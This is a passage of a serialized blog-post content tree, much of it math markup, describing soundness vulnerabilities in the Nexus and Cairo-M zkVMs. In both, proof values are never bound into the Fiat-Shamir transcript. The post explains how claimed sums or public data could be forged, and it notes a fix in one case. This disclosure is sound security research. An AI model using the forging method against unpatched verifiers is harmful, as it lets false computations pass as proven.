,{"type":32,"value":3780},{"type":26,"tag":475,"props":116467,"children":116469},{"className":116468},[3719,3769],[116470,116480],{"type":26,"tag":475,"props":116471,"children":116473},{"className":116472},[3719,32,3769],[116474],{"type":26,"tag":475,"props":116475,"children":116477},{"className":116476},[3719,3769],[116478],{"type":32,"value":116479},"produced",{"type":26,"tag":475,"props":116481,"children":116483},{"className":116482},[3736],[116484],{"type":26,"tag":475,"props":116485,"children":116487},{"className":116486},[3741,21350],[116488,116519],{"type":26,"tag":475,"props":116489,"children":116491},{"className":116490},[3746],[116492,116514],{"type":26,"tag":475,"props":116493,"children":116496},{"className":116494,"style":116495},[3751],"height:0.2052em;",[116497],{"type":26,"tag":475,"props":116498,"children":116500},{"style":116499},"top:-2.2341em;margin-right:0.0714em;",[116501,116505],{"type":26,"tag":475,"props":116502,"children":116504},{"className":116503,"style":108339},[3760],[],{"type":26,"tag":475,"props":116506,"children":116508},{"className":116507},[3766,108344,108345,3769],[116509],{"type":26,"tag":475,"props":116510,"children":116512},{"className":116511,"style":113702},[3719,21296,3769],[116513],{"type":32,"value":8368},{"type":26,"tag":475,"props":116515,"children":116517},{"className":116516},[21453],[116518],{"type":32,"value":21456},{"type":26,"tag":475,"props":116520,"children":116522},{"className":116521},[3746],[116523],{"type":26,"tag":475,"props":116524,"children":116527},{"className":116525,"style":116526},[3751],"height:0.4048em;",[116528],{"type":26,"tag":475,"props":116529,"children":116530},{},[],{"type":26,"tag":475,"props":116532,"children":116533},{"style":113052},[116534,116538],{"type":26,"tag":475,"props":116535,"children":116537},{"className":116536,"style":111650},[3760],[],{"type":26,"tag":475,"props":116539,"children":116541},{"className":116540,"style":113062},[113061],[],{"type":26,"tag":475,"props":116543,"children":116544},{"style":113066},[116545,116549],{"type":26,"tag":475,"props":116546,"children":116548},{"className":116547,"style":111650},[3760],[],{"type":26,"tag":475,"props":116550,"children":116552},{"className":116551},[3766,3767,3768,3769],[116553],{"type":26,"tag":475,"props":116554,"children":116556},{"className":116555},[3719,3769],[116557],{"type":26,"tag":475,"props":116558,"children":116560},{"className":116559},[3719,3769],[116561],{"type":32,"value":3722},{"type":26,"tag":475,"props":116563,"children":116565},{"className":116564},[21453],[116566],{"type":32,"value":21456},{"type":26,"tag":475,"props":116568,"children":116570},{"className":116569},[3746],[116571],{"type":26,"tag":475,"props":116572,"children":116575},{"className":116573,"style":116574},[3751],"height:0.6283em;",[116576],{"type":26,"tag":475,"props":116577,"children":116578},{},[],{"type":26,"tag":475,"props":116580,"children":116582},{"className":116581},[21447,112997],[],{"type":26,"tag":475,"props":116584,"children":116586},{"className":116585,"style":3801},[3800],[],{"type":26,"tag":475,"props":116588,"children":116590},{"className":116589},[3806],[116591],{"type":32,"value":3780},{"type":26,"tag":475,"props":116593,"children":116595},{"className":116594,"style":3801},[3800],[],{"type":26,"tag":475,"props":116597,"children":116599},{"className":116598},[3708],[116600,116604,116661,116665],{"type":26,"tag":475,"props":116601,"children":116603},{"className":116602,"style":113911},[3713],[],{"type":26,"tag":475,"props":116605,"children":116607},{"className":116606},[21332],[116608,116613],{"type":26,"tag":475,"props":116609,"children":116611},{"className":116610,"style":21339},[21332,21337,21338],[116612],{"type":32,"value":108274},{"type":26,"tag":475,"props":116614,"children":116616},{"className":116615},[3736],[116617],{"type":26,"tag":475,"props":116618,"children":116620},{"className":116619},[3741,21350],[116621,116650],{"type":26,"tag":475,"props":116622,"children":116624},{"className":116623},[3746],[116625,116645],{"type":26,"tag":475,"props":116626,"children":116628},{"className":116627,"style":113151},[3751],[116629],{"type":26,"tag":475,"props":116630,"children":116631},{"style":21363},[116632,116636],{"type":26,"tag":475,"props":116633,"children":116635},{"className":116634,"style":3761},[3760],[],{"type":26,"tag":475,"props":116637,"children":116639},{"className":116638},[3766,3767,3768,3769],[116640],{"type":26,"tag":475,"props":116641,"children":116643},{"className":116642,"style":94096},[3719,21296,3769],[116644],{"type":32,"value":88304},{"type":26,"tag":475,"props":116646,"children":116648},{"className":116647},[21453],[116649],{"type":32,"value":21456},{"type":26,"tag":475,"props":116651,"children":116653},{"className":116652},[3746],[116654],{"type":26,"tag":475,"props":116655,"children":116657},{"className":116656,"style":113966},[3751],[116658],{"type":26,"tag":475,"props":116659,"children":116660},{},[],{"type":26,"tag":475,"props":116662,"children":116664},{"className":116663,"style":3839},[3800],[],{"type":26,"tag":475,"props":116666,"children":116668},{"className":116667},[3719],[116669,116673,116823],{"type":26,"tag":475,"props":116670,"children":116672},{"className":116671},[21425,112997],[],{"type":26,"tag":475,"props":116674,"children":116676},{"className":116675},[113002],[116677],{"type":26,"tag":475,"props":116678,"children":116680},{"className":116679},[3741,21350],[116681,116812],{"type":26,"tag":475,"props":116682,"children":116684},{"className":116683},[3746],[116685,116807],{"type":26,"tag":475,"props":116686,"children":116688},{"className":116687,"style":113015},[3751],[116689,116776,116787],{"type":26,"tag":475,"props":116690,"children":116691},{"style":113019},[116692,116696],{"type":26,"tag":475,"props":116693,"children":116695},{"className":116694,"style":111650},[3760],[],{"type":26,"tag":475,"props":116697,"children":116699},{"className":116698},[3766,3767,3768,3769],[116700],{"type":26,"tag":475,"props":116701,"children":116703},{"className":116702},[3719,3769],[116704,116709,116714],{"type":26,"tag":475,"props":116705,"children":116707},{"className":116706,"style":113036},[3719,21296,3769],[116708],{"type":32,"value":113039},{"type":26,"tag":475,"props":116710,"children":116712},{"className":116711},[3806,3769],[116713],{"type":32,"value":3780},{"type":26,"tag":475,"props":116715,"children":116717},{"className":116716},[3719,3769],[116718,116728],{"type":26,"tag":475,"props":116719,"children":116721},{"className":116720},[3719,32,3769],[116722],{"type":26,"tag":475,"props":116723,"children":116725},{"className":116724},[3719,3769],[116726],{"type":32,"value":116727},"consumed",{"type":26,"tag":475,"props":116729,"children":116731},{"className":116730},[3736],[116732],{"type":26,"tag":475,"props":116733,"children":116735},{"className":116734},[3741,21350],[116736,116765],{"type":26,"tag":475,"props":116737,"children":116739},{"className":116738},[3746],[116740,116760],{"type":26,"tag":475,"props":116741,"children":116743},{"className":116742,"style":111811},[3751],[116744],{"type":26,"tag":475,"props":116745,"children":116746},{"style":114056},[116747,116751],{"type":26,"tag":475,"props":116748,"children":116750},{"className":116749,"style":108339},[3760],[],{"type":26,"tag":475,"props":116752,"children":116754},{"className":116753},[3766,108344,108345,3769],[116755],{"type":26,"tag":475,"props":116756,"children":116758},{"className":116757,"style":94096},[3719,21296,3769],[116759],{"type":32,"value":88304},{"type":26,"tag":475,"props":116761,"children":116763},{"className":116762},[21453],[116764],{"type":32,"value":21456},{"type":26,"tag":475,"props":116766,"children":116768},{"className":116767},[3746],[116769],{"type":26,"tag":475,"props":116770,"children":116772},{"className":116771,"style":114083},[3751],[116773],{"type":26,"tag":475,"props":116774,"children":116775},{},[],{"type":26,"tag":475,"props":116777,"children":116778},{"style":113052},[116779,116783],{"type":26,"tag":475,"props":116780,"children":116782},{"className":116781,"style":111650},[3760],[],{"type":26,"tag":475,"props":116784,"children":116786},{"className":116785,"style":113062},[113061],[],{"type":26,"tag":475,"props":116788,"children":116789},{"style":113066},[116790,116794],{"type":26,"tag":475,"props":116791,"children":116793},{"className":116792,"style":111650},[3760],[],{"type":26,"tag":475,"props":116795,"children":116797},{"className":116796},[3766,3767,3768,3769],[116798],{"type":26,"tag":475,"props":116799,"children":116801},{"className":116800},[3719,3769],[116802],{"type":26,"tag":475,"props":116803,"children":116805},{"className":116804},[3719,3769],[116806],{"type":32,"value":3722},{"type":26,"tag":475,"props":116808,"children":116810},{"className":116809},[21453],[116811],{"type":32,"value":21456},{"type":26,"tag":475,"props":116813,"children":116815},{"className":116814},[3746],[116816],{"type":26,"tag":475,"props":116817,"children":116819},{"className":116818,"style":114131},[3751],[116820],{"type":26,"tag":475,"props":116821,"children":116822},{},[],{"type":26,"tag":475,"props":116824,"children":116826},{"className":116825},[21447,112997],[],{"type":26,"tag":35,"props":116828,"children":116829},{},[116830,116832,116837],{"type":32,"value":116831},"All ",{"type":26,"tag":53,"props":116833,"children":116835},{"className":116834},[],[116836],{"type":32,"value":114343},{"type":32,"value":116838}," values must sum to zero (everything produced is consumed).",{"type":26,"tag":35,"props":116840,"children":116841},{},[116842,116844,116849],{"type":32,"value":116843},"All constraints are combined into a composition polynomial. The verifier then checks this polynomial at a random point outside the execution domain, known as an ",{"type":26,"tag":105,"props":116845,"children":116846},{},[116847],{"type":32,"value":116848},"OODS (Out-of-Domain Sampling)",{"type":32,"value":116850}," test.",{"type":26,"tag":35,"props":116852,"children":116853},{},[116854],{"type":26,"tag":105,"props":116855,"children":116856},{},[116857],{"type":32,"value":114895},{"type":26,"tag":465,"props":116859,"children":116861},{"code":116860},"NexusProof {\n stark_proof: {\n commitments: [Merkle roots of trace columns]\n sampled_values: [polynomial evaluations]\n fri_proof: [low-degree test proof]\n }\n claimed_sum: [FieldElement; NUM_COMPONENTS] // \u003C- VULNERABLE\n log_size: [component sizes]\n}\n",[116862],{"type":26,"tag":53,"props":116863,"children":116864},{"__ignoreMap":7},[116865],{"type":32,"value":116860},{"type":26,"tag":35,"props":116867,"children":116868},{},[116869,116871,116876],{"type":32,"value":116870},"The",{"type":26,"tag":53,"props":116872,"children":116874},{"className":116873},[],[116875],{"type":32,"value":114343},{"type":32,"value":116877}," values are checked to be of correct length, that they sum to zero, and are used in the final composition polynomial. But at no point were they absorbed into the transcript.",{"type":26,"tag":35,"props":116879,"children":116880},{},[116881],{"type":26,"tag":132,"props":116882,"children":116885},{"alt":116883,"src":116884},"6_nexus_flow","/posts/zkvms-unfaithful-claims/6_nexus_flow.svg",[],{"type":26,"tag":35,"props":116887,"children":116888},{},[116889,116891,116900],{"type":32,"value":116890},"The OODS check computes the composition polynomial, which includes logup boundary constraints. These constraints are ",{"type":26,"tag":105,"props":116892,"children":116893},{},[116894,116895],{"type":32,"value":111350},{"type":26,"tag":53,"props":116896,"children":116898},{"className":116897},[],[116899],{"type":32,"value":114343},{"type":32,"value":179},{"type":26,"tag":35,"props":116902,"children":116903},{},[116904],{"type":32,"value":116905},"The composition polynomial is a random linear combination of constraints:",{"type":26,"tag":35,"props":116907,"children":116908},{},[116909],{"type":26,"tag":53,"props":116910,"children":116912},{"className":116911},[3691,3692],[116913],{"type":26,"tag":475,"props":116914,"children":116916},{"className":116915},[3697],[116917],{"type":26,"tag":475,"props":116918,"children":116920},{"className":116919,"ariaHidden":3703},[3702],[116921,116962,117101],{"type":26,"tag":475,"props":116922,"children":116924},{"className":116923},[3708],[116925,116929,116934,116939,116944,116949,116953,116958],{"type":26,"tag":475,"props":116926,"children":116928},{"className":116927,"style":3821},[3713],[],{"type":26,"tag":475,"props":116930,"children":116932},{"className":116931,"style":21828},[3719,21296],[116933],{"type":32,"value":115708},{"type":26,"tag":475,"props":116935,"children":116937},{"className":116936},[21425],[116938],{"type":32,"value":626},{"type":26,"tag":475,"props":116940,"children":116942},{"className":116941},[3719,21296],[116943],{"type":32,"value":18984},{"type":26,"tag":475,"props":116945,"children":116947},{"className":116946},[21447],[116948],{"type":32,"value":2835},{"type":26,"tag":475,"props":116950,"children":116952},{"className":116951,"style":3898},[3800],[],{"type":26,"tag":475,"props":116954,"children":116956},{"className":116955},[3903],[116957],{"type":32,"value":786},{"type":26,"tag":475,"props":116959,"children":116961},{"className":116960,"style":3898},[3800],[],{"type":26,"tag":475,"props":116963,"children":116965},{"className":116964},[3708],[116966,116970,117027,117031,117088,117092,117097],{"type":26,"tag":475,"props":116967,"children":116969},{"className":116968,"style":115112},[3713],[],{"type":26,"tag":475,"props":116971,"children":116973},{"className":116972},[21332],[116974,116979],{"type":26,"tag":475,"props":116975,"children":116977},{"className":116976,"style":21339},[21332,21337,21338],[116978],{"type":32,"value":108274},{"type":26,"tag":475,"props":116980,"children":116982},{"className":116981},[3736],[116983],{"type":26,"tag":475,"props":116984,"children":116986},{"className":116985},[3741,21350],[116987,117016],{"type":26,"tag":475,"props":116988,"children":116990},{"className":116989},[3746],[116991,117011],{"type":26,"tag":475,"props":116992,"children":116994},{"className":116993,"style":113686},[3751],[116995],{"type":26,"tag":475,"props":116996,"children":116997},{"style":21363},[116998,117002],{"type":26,"tag":475,"props":116999,"children":117001},{"className":117000,"style":3761},[3760],[],{"type":26,"tag":475,"props":117003,"children":117005},{"className":117004},[3766,3767,3768,3769],[117006],{"type":26,"tag":475,"props":117007,"children":117009},{"className":117008},[3719,21296,3769],[117010],{"type":32,"value":3445},{"type":26,"tag":475,"props":117012,"children":117014},{"className":117013},[21453],[117015],{"type":32,"value":21456},{"type":26,"tag":475,"props":117017,"children":117019},{"className":117018},[3746],[117020],{"type":26,"tag":475,"props":117021,"children":117023},{"className":117022,"style":113966},[3751],[117024],{"type":26,"tag":475,"props":117025,"children":117026},{},[],{"type":26,"tag":475,"props":117028,"children":117030},{"className":117029,"style":3839},[3800],[],{"type":26,"tag":475,"props":117032,"children":117034},{"className":117033},[3719],[117035,117040],{"type":26,"tag":475,"props":117036,"children":117038},{"className":117037,"style":114567},[3719,21296],[117039],{"type":32,"value":114570},{"type":26,"tag":475,"props":117041,"children":117043},{"className":117042},[3736],[117044],{"type":26,"tag":475,"props":117045,"children":117047},{"className":117046},[3741,21350],[117048,117077],{"type":26,"tag":475,"props":117049,"children":117051},{"className":117050},[3746],[117052,117072],{"type":26,"tag":475,"props":117053,"children":117055},{"className":117054,"style":93196},[3751],[117056],{"type":26,"tag":475,"props":117057,"children":117058},{"style":115202},[117059,117063],{"type":26,"tag":475,"props":117060,"children":117062},{"className":117061,"style":3761},[3760],[],{"type":26,"tag":475,"props":117064,"children":117066},{"className":117065},[3766,3767,3768,3769],[117067],{"type":26,"tag":475,"props":117068,"children":117070},{"className":117069},[3719,21296,3769],[117071],{"type":32,"value":3445},{"type":26,"tag":475,"props":117073,"children":117075},{"className":117074},[21453],[117076],{"type":32,"value":21456},{"type":26,"tag":475,"props":117078,"children":117080},{"className":117079},[3746],[117081],{"type":26,"tag":475,"props":117082,"children":117084},{"className":117083,"style":92750},[3751],[117085],{"type":26,"tag":475,"props":117086,"children":117087},{},[],{"type":26,"tag":475,"props":117089,"children":117091},{"className":117090,"style":3801},[3800],[],{"type":26,"tag":475,"props":117093,"children":117095},{"className":117094},[3806],[117096],{"type":32,"value":110741},{"type":26,"tag":475,"props":117098,"children":117100},{"className":117099,"style":3801},[3800],[],{"type":26,"tag":475,"props":117102,"children":117104},{"className":117103},[3708],[117105,117109,117171,117176,117181],{"type":26,"tag":475,"props":117106,"children":117108},{"className":117107,"style":3821},[3713],[],{"type":26,"tag":475,"props":117110,"children":117112},{"className":117111},[3719],[117113,117123],{"type":26,"tag":475,"props":117114,"children":117116},{"className":117115},[3719,32],[117117],{"type":26,"tag":475,"props":117118,"children":117120},{"className":117119},[3719],[117121],{"type":32,"value":117122},"constraint",{"type":26,"tag":475,"props":117124,"children":117126},{"className":117125},[3736],[117127],{"type":26,"tag":475,"props":117128,"children":117130},{"className":117129},[3741,21350],[117131,117160],{"type":26,"tag":475,"props":117132,"children":117134},{"className":117133},[3746],[117135,117155],{"type":26,"tag":475,"props":117136,"children":117138},{"className":117137,"style":93196},[3751],[117139],{"type":26,"tag":475,"props":117140,"children":117141},{"style":113609},[117142,117146],{"type":26,"tag":475,"props":117143,"children":117145},{"className":117144,"style":3761},[3760],[],{"type":26,"tag":475,"props":117147,"children":117149},{"className":117148},[3766,3767,3768,3769],[117150],{"type":26,"tag":475,"props":117151,"children":117153},{"className":117152},[3719,21296,3769],[117154],{"type":32,"value":3445},{"type":26,"tag":475,"props":117156,"children":117158},{"className":117157},[21453],[117159],{"type":32,"value":21456},{"type":26,"tag":475,"props":117161,"children":117163},{"className":117162},[3746],[117164],{"type":26,"tag":475,"props":117165,"children":117167},{"className":117166,"style":92750},[3751],[117168],{"type":26,"tag":475,"props":117169,"children":117170},{},[],{"type":26,"tag":475,"props":117172,"children":117174},{"className":117173},[21425],[117175],{"type":32,"value":626},{"type":26,"tag":475,"props":117177,"children":117179},{"className":117178},[3719,21296],[117180],{"type":32,"value":18984},{"type":26,"tag":475,"props":117182,"children":117184},{"className":117183},[21447],[117185],{"type":32,"value":2835},{"type":26,"tag":35,"props":117187,"children":117188},{},[117189,117191,117196,117198,117203],{"type":32,"value":117190},"Since each constraint is linear in its ",{"type":26,"tag":53,"props":117192,"children":117194},{"className":117193},[],[117195],{"type":32,"value":114343},{"type":32,"value":117197},", the overall composition polynomial is linear in all ",{"type":26,"tag":53,"props":117199,"children":117201},{"className":117200},[],[117202],{"type":32,"value":114343},{"type":32,"value":117204}," values.",{"type":26,"tag":35,"props":117206,"children":117207},{},[117208,117210],{"type":32,"value":117209},"The verifier checks ",{"type":26,"tag":53,"props":117211,"children":117213},{"className":117212},[3691,3692],[117214],{"type":26,"tag":475,"props":117215,"children":117217},{"className":117216},[3697],[117218],{"type":26,"tag":475,"props":117219,"children":117221},{"className":117220,"ariaHidden":3703},[3702],[117222,117283],{"type":26,"tag":475,"props":117223,"children":117225},{"className":117224},[3708],[117226,117230,117235,117240,117250,117255,117265,117270,117274,117279],{"type":26,"tag":475,"props":117227,"children":117229},{"className":117228,"style":92609},[3713],[],{"type":26,"tag":475,"props":117231,"children":117233},{"className":117232,"style":21828},[3719,21296],[117234],{"type":32,"value":115708},{"type":26,"tag":475,"props":117236,"children":117238},{"className":117237},[21425],[117239],{"type":32,"value":626},{"type":26,"tag":475,"props":117241,"children":117243},{"className":117242},[3719,32],[117244],{"type":26,"tag":475,"props":117245,"children":117247},{"className":117246},[3719],[117248],{"type":32,"value":117249},"oods",{"type":26,"tag":475,"props":117251,"children":117253},{"className":117252,"style":92667},[3719],[117254],{"type":32,"value":2789},{"type":26,"tag":475,"props":117256,"children":117258},{"className":117257},[3719,32],[117259],{"type":26,"tag":475,"props":117260,"children":117262},{"className":117261},[3719],[117263],{"type":32,"value":117264},"point",{"type":26,"tag":475,"props":117266,"children":117268},{"className":117267},[21447],[117269],{"type":32,"value":2835},{"type":26,"tag":475,"props":117271,"children":117273},{"className":117272,"style":3898},[3800],[],{"type":26,"tag":475,"props":117275,"children":117277},{"className":117276},[3903],[117278],{"type":32,"value":786},{"type":26,"tag":475,"props":117280,"children":117282},{"className":117281,"style":3898},[3800],[],{"type":26,"tag":475,"props":117284,"children":117286},{"className":117285},[3708],[117287,117291],{"type":26,"tag":475,"props":117288,"children":117290},{"className":117289,"style":114534},[3713],[],{"type":26,"tag":475,"props":117292,"children":117294},{"className":117293},[3719,32],[117295],{"type":26,"tag":475,"props":117296,"children":117298},{"className":117297},[3719],[117299],{"type":32,"value":116033},{"type":26,"tag":35,"props":117301,"children":117302},{},[117303,117305,117310,117312,117317],{"type":32,"value":117304},"With ",{"type":26,"tag":53,"props":117306,"children":117308},{"className":117307},[],[117309],{"type":32,"value":114343},{"type":32,"value":117311}," not in transcript, the composition polynomial becomes a linear function of the ",{"type":26,"tag":53,"props":117313,"children":117315},{"className":117314},[],[117316],{"type":32,"value":114343},{"type":32,"value":117318}," values. Combined with the constraint that claimed sums must sum to zero, this is a small linear system that is easily solvable.",{"type":26,"tag":35,"props":117320,"children":117321},{},[117322,117326,117328],{"type":26,"tag":105,"props":117323,"children":117324},{},[117325],{"type":32,"value":116189},{"type":32,"value":117327}," Fixed on October 24, 2025 via ",{"type":26,"tag":116,"props":117329,"children":117332},{"href":117330,"rel":117331},"https://github.com/nexus-xyz/nexus-zkvm/pull/503",[120],[117333],{"type":32,"value":117334},"PR #503",{"type":26,"tag":18502,"props":117336,"children":117337},{},[],{"type":26,"tag":41,"props":117339,"children":117341},{"id":117340},"cairo-m-kakarot-labs",[117342],{"type":32,"value":117343},"Cairo-M (Kakarot Labs)",{"type":26,"tag":35,"props":117345,"children":117346},{},[117347],{"type":32,"value":117348},"Cairo-M, built by Kakarot Labs, is an alternative proof system for the Cairo VM (used by Starknet).",{"type":26,"tag":35,"props":117350,"children":117351},{},[117352],{"type":32,"value":117353},"Cairo-M is in many ways similar to Nexus. It uses logup to prove global statements about the execution.",{"type":26,"tag":35,"props":117355,"children":117356},{},[117357],{"type":26,"tag":105,"props":117358,"children":117359},{},[117360],{"type":32,"value":114895},{"type":26,"tag":465,"props":117362,"children":117364},{"code":117363},"Proof {\n claim: ComponentSizes,\n interaction_claim: LogupClaimsPerComponent,\n public_data: { // \u003C- VULNERABLE\n initial_registers: { pc, fp },\n final_registers: { pc, fp }, // \u003C- forged\n clock, // \u003C- forged\n initial_root, \n final_root, // \u003C- forged\n public_memory: { program, input, output }, //output modified\n },\n stark_proof: [...],\n}\n",[117365],{"type":26,"tag":53,"props":117366,"children":117367},{"__ignoreMap":7},[117368],{"type":32,"value":117363},{"type":26,"tag":35,"props":117370,"children":117371},{},[117372],{"type":26,"tag":105,"props":117373,"children":117374},{},[117375],{"type":32,"value":114911},{"type":26,"tag":35,"props":117377,"children":117378},{},[117379],{"type":26,"tag":132,"props":117380,"children":117383},{"alt":117381,"src":117382},"7_cairo_m_verification","/posts/zkvms-unfaithful-claims/7_cairo_m_verification.svg",[],{"type":26,"tag":35,"props":117385,"children":117386},{},[117387,117389,117395],{"type":32,"value":117388},"Lookup challenges are derived without ",{"type":26,"tag":53,"props":117390,"children":117392},{"className":117391},[],[117393],{"type":32,"value":117394},"public_data",{"type":32,"value":117396}," being mixed into the transcript.",{"type":26,"tag":35,"props":117398,"children":117399},{},[117400,117401,117406,117408,117413],{"type":32,"value":16319},{"type":26,"tag":53,"props":117402,"children":117404},{"className":117403},[],[117405],{"type":32,"value":117394},{"type":32,"value":117407}," (program I/O, boundary registers, memory roots) enters the lookup relations inside ",{"type":26,"tag":2615,"props":117409,"children":117410},{},[117411],{"type":32,"value":117412},"denominators",{"type":32,"value":117414}," through challenge-weighted encodings of tuples. Abstractly, the verifier checks a relation of the form:",{"type":26,"tag":35,"props":117416,"children":117417},{},[117418],{"type":26,"tag":53,"props":117419,"children":117421},{"className":117420},[3691,3692],[117422],{"type":26,"tag":475,"props":117423,"children":117425},{"className":117424},[3697],[117426],{"type":26,"tag":475,"props":117427,"children":117429},{"className":117428,"ariaHidden":3703},[3702],[117430,117490,117536,117582],{"type":26,"tag":475,"props":117431,"children":117433},{"className":117432},[3708],[117434,117438,117444,117449,117458,117463,117472,117477,117481,117486],{"type":26,"tag":475,"props":117435,"children":117437},{"className":117436,"style":92609},[3713],[],{"type":26,"tag":475,"props":117439,"children":117441},{"className":117440},[3719,21296],[117442],{"type":32,"value":117443},"L",{"type":26,"tag":475,"props":117445,"children":117447},{"className":117446},[21425],[117448],{"type":32,"value":626},{"type":26,"tag":475,"props":117450,"children":117452},{"className":117451},[3719,32],[117453],{"type":26,"tag":475,"props":117454,"children":117456},{"className":117455},[3719],[117457],{"type":32,"value":61367},{"type":26,"tag":475,"props":117459,"children":117461},{"className":117460,"style":92667},[3719],[117462],{"type":32,"value":2789},{"type":26,"tag":475,"props":117464,"children":117466},{"className":117465},[3719,32],[117467],{"type":26,"tag":475,"props":117468,"children":117470},{"className":117469},[3719],[117471],{"type":32,"value":3408},{"type":26,"tag":475,"props":117473,"children":117475},{"className":117474},[21447],[117476],{"type":32,"value":2835},{"type":26,"tag":475,"props":117478,"children":117480},{"className":117479,"style":3801},[3800],[],{"type":26,"tag":475,"props":117482,"children":117484},{"className":117483},[3806],[117485],{"type":32,"value":1106},{"type":26,"tag":475,"props":117487,"children":117489},{"className":117488,"style":3801},[3800],[],{"type":26,"tag":475,"props":117491,"children":117493},{"className":117492},[3708],[117494,117498,117508,117513,117523,117527,117532],{"type":26,"tag":475,"props":117495,"children":117497},{"className":117496,"style":92609},[3713],[],{"type":26,"tag":475,"props":117499,"children":117501},{"className":117500},[3719,32],[117502],{"type":26,"tag":475,"props":117503,"children":117505},{"className":117504},[3719],[117506],{"type":32,"value":117507},"(other transcript",{"type":26,"tag":475,"props":117509,"children":117511},{"className":117510,"style":92667},[3719],[117512],{"type":32,"value":2789},{"type":26,"tag":475,"props":117514,"children":117516},{"className":117515},[3719,32],[117517],{"type":26,"tag":475,"props":117518,"children":117520},{"className":117519},[3719],[117521],{"type":32,"value":117522},"bound terms)",{"type":26,"tag":475,"props":117524,"children":117526},{"className":117525,"style":3898},[3800],[],{"type":26,"tag":475,"props":117528,"children":117530},{"className":117529},[3903],[117531],{"type":32,"value":786},{"type":26,"tag":475,"props":117533,"children":117535},{"className":117534,"style":3898},[3800],[],{"type":26,"tag":475,"props":117537,"children":117539},{"className":117538},[3708],[117540,117545,117550,117555,117560,117564,117569,117573,117578],{"type":26,"tag":475,"props":117541,"children":117544},{"className":117542,"style":117543},[3713],"height:0.8778em;vertical-align:-0.1944em;",[],{"type":26,"tag":475,"props":117546,"children":117548},{"className":117547},[3719],[117549],{"type":32,"value":3732},{"type":26,"tag":475,"props":117551,"children":117553},{"className":117552},[3832],[117554],{"type":32,"value":3835},{"type":26,"tag":475,"props":117556,"children":117559},{"className":117557,"style":117558},[3800],"margin-right:2em;",[],{"type":26,"tag":475,"props":117561,"children":117563},{"className":117562,"style":3839},[3800],[],{"type":26,"tag":475,"props":117565,"children":117567},{"className":117566},[3719,21296],[117568],{"type":32,"value":117443},{"type":26,"tag":475,"props":117570,"children":117572},{"className":117571,"style":3898},[3800],[],{"type":26,"tag":475,"props":117574,"children":117576},{"className":117575},[3903],[117577],{"type":32,"value":786},{"type":26,"tag":475,"props":117579,"children":117581},{"className":117580,"style":3898},[3800],[],{"type":26,"tag":475,"props":117583,"children":117585},{"className":117584},[3708],[117586,117591,117648,117652,117870],{"type":26,"tag":475,"props":117587,"children":117590},{"className":117588,"style":117589},[3713],"height:1.4071em;vertical-align:-0.562em;",[],{"type":26,"tag":475,"props":117592,"children":117594},{"className":117593},[21332],[117595,117600],{"type":26,"tag":475,"props":117596,"children":117598},{"className":117597,"style":21339},[21332,21337,21338],[117599],{"type":32,"value":108274},{"type":26,"tag":475,"props":117601,"children":117603},{"className":117602},[3736],[117604],{"type":26,"tag":475,"props":117605,"children":117607},{"className":117606},[3741,21350],[117608,117637],{"type":26,"tag":475,"props":117609,"children":117611},{"className":117610},[3746],[117612,117632],{"type":26,"tag":475,"props":117613,"children":117615},{"className":117614,"style":113686},[3751],[117616],{"type":26,"tag":475,"props":117617,"children":117618},{"style":21363},[117619,117623],{"type":26,"tag":475,"props":117620,"children":117622},{"className":117621,"style":3761},[3760],[],{"type":26,"tag":475,"props":117624,"children":117626},{"className":117625},[3766,3767,3768,3769],[117627],{"type":26,"tag":475,"props":117628,"children":117630},{"className":117629},[3719,21296,3769],[117631],{"type":32,"value":3445},{"type":26,"tag":475,"props":117633,"children":117635},{"className":117634},[21453],[117636],{"type":32,"value":21456},{"type":26,"tag":475,"props":117638,"children":117640},{"className":117639},[3746],[117641],{"type":26,"tag":475,"props":117642,"children":117644},{"className":117643,"style":113966},[3751],[117645],{"type":26,"tag":475,"props":117646,"children":117647},{},[],{"type":26,"tag":475,"props":117649,"children":117651},{"className":117650,"style":3839},[3800],[],{"type":26,"tag":475,"props":117653,"children":117655},{"className":117654},[3719],[117656,117660,117866],{"type":26,"tag":475,"props":117657,"children":117659},{"className":117658},[21425,112997],[],{"type":26,"tag":475,"props":117661,"children":117663},{"className":117662},[113002],[117664],{"type":26,"tag":475,"props":117665,"children":117667},{"className":117666},[3741,21350],[117668,117854],{"type":26,"tag":475,"props":117669,"children":117671},{"className":117670},[3746],[117672,117849],{"type":26,"tag":475,"props":117673,"children":117675},{"className":117674,"style":113015},[3751],[117676,117818,117829],{"type":26,"tag":475,"props":117677,"children":117678},{"style":113019},[117679,117683],{"type":26,"tag":475,"props":117680,"children":117682},{"className":117681,"style":111650},[3760],[],{"type":26,"tag":475,"props":117684,"children":117686},{"className":117685},[3766,3767,3768,3769],[117687],{"type":26,"tag":475,"props":117688,"children":117690},{"className":117689},[3719,3769],[117691,117696,117701,117707,117712,117717,117774,117779,117788,117793,117802,117808,117813],{"type":26,"tag":475,"props":117692,"children":117694},{"className":117693,"style":113036},[3719,21296,3769],[117695],{"type":32,"value":113039},{"type":26,"tag":475,"props":117697,"children":117699},{"className":117698},[3806,3769],[117700],{"type":32,"value":1106},{"type":26,"tag":475,"props":117702,"children":117704},{"className":117703},[21425,3769],[117705],{"type":32,"value":117706},"⟨",{"type":26,"tag":475,"props":117708,"children":117710},{"className":117709,"style":114567},[3719,21296,3769],[117711],{"type":32,"value":114570},{"type":26,"tag":475,"props":117713,"children":117715},{"className":117714},[3832,3769],[117716],{"type":32,"value":3835},{"type":26,"tag":475,"props":117718,"children":117720},{"className":117719},[3719,3769],[117721,117726],{"type":26,"tag":475,"props":117722,"children":117724},{"className":117723},[3719,21296,3769],[117725],{"type":32,"value":21438},{"type":26,"tag":475,"props":117727,"children":117729},{"className":117728},[3736],[117730],{"type":26,"tag":475,"props":117731,"children":117733},{"className":117732},[3741,21350],[117734,117763],{"type":26,"tag":475,"props":117735,"children":117737},{"className":117736},[3746],[117738,117758],{"type":26,"tag":475,"props":117739,"children":117741},{"className":117740,"style":113803},[3751],[117742],{"type":26,"tag":475,"props":117743,"children":117744},{"style":108334},[117745,117749],{"type":26,"tag":475,"props":117746,"children":117748},{"className":117747,"style":108339},[3760],[],{"type":26,"tag":475,"props":117750,"children":117752},{"className":117751},[3766,108344,108345,3769],[117753],{"type":26,"tag":475,"props":117754,"children":117756},{"className":117755},[3719,21296,3769],[117757],{"type":32,"value":3445},{"type":26,"tag":475,"props":117759,"children":117761},{"className":117760},[21453],[117762],{"type":32,"value":21456},{"type":26,"tag":475,"props":117764,"children":117766},{"className":117765},[3746],[117767],{"type":26,"tag":475,"props":117768,"children":117770},{"className":117769,"style":108364},[3751],[117771],{"type":26,"tag":475,"props":117772,"children":117773},{},[],{"type":26,"tag":475,"props":11